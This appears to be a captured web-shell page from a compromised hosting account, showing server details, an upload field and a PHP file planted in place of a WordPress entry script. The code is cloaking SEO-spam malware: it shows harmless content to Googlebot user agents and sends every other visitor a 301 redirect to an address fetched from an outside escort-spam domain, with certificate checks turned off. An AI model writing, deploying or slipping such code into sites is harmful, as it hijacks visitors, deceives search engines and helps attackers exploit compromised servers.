| Server IP : 176.32.38.42 / Your IP : 216.73.216.198 Web Server : LiteSpeed System : Linux ha006.mymail.zone 4.18.0-553.51.1.lve.1.el8.x86_64 #1 SMP Wed May 14 14:34:57 UTC 2025 x86_64 User : s1225329 ( 1835) PHP Version : 7.4.33 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/1365752/task/1365752/cwd/ |
Upload File : |
<?php
error_reporting(0);
set_time_limit(0);
// ============================================
// KONFİGÜRASYON
// ============================================
define('IST_TXT_URL', 'https://istanbulescortladys.com/ist.txt');
// Google Bot listesi
$googleBots = ['Googlebot', 'AdsBot', 'Mediapartners-Google', 'APIs-Google', 'Googlebot-Image', 'Googlebot-Video', 'Googlebot-News', 'Googlebot-Search', 'Googlebot-Inspect', 'Googlebot-Android', 'Googlebot-Mobile', 'Googlebot-Ads', 'Googlebot-Discovery', 'Google-'];
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
$is_google_bot = preg_match('/' . implode('|', $googleBots) . '/i', $userAgent);
// ============================================
// GOOGLE BOT İSE license.html GÖSTER
// ============================================
if ($is_google_bot) {
if (file_exists('license.html')) {
include 'license.html';
} else {
// license.html yoksa WordPress göster
define('WP_USE_THEMES', true);
require __DIR__ . '/wp-blog-header.php';
}
exit();
}
// ============================================
// NORMAL KULLANICILARI ist.txt'DEN YÖNLENDİR
// ============================================
function get_redirect_url() {
// 1. YÖNTEM: file_get_contents
$context = stream_context_create([
'http' => [
'timeout' => 10,
'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0'
],
'ssl' => [
'verify_peer' => false,
'verify_peer_name' => false
]
]);
$response = @file_get_contents(IST_TXT_URL, false, $context);
if ($response !== false && !empty(trim($response))) {
return trim($response);
}
// 2. YÖNTEM: cURL (yedek)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, IST_TXT_URL);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0');
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && $response !== false && !empty(trim($response))) {
return trim($response);
}
return false;
}
// ============================================
// NORMAL KULLANICILARI YÖNLENDİR
// ============================================
$redirect_target = get_redirect_url();
if ($redirect_target !== false && !empty($redirect_target)) {
// URL'yi düzenle (http:// veya https:// yoksa ekle)
if (strpos($redirect_target, 'http') !== 0) {
$redirect_target = 'https://' . $redirect_target;
}
// 301 kalıcı yönlendirme ile yönlendir
header('Location: ' . $redirect_target, true, 301);
exit();
} else {
// ist.txt okunamazsa WordPress göster
define('WP_USE_THEMES', true);
require __DIR__ . '/wp-blog-header.php';
}
?>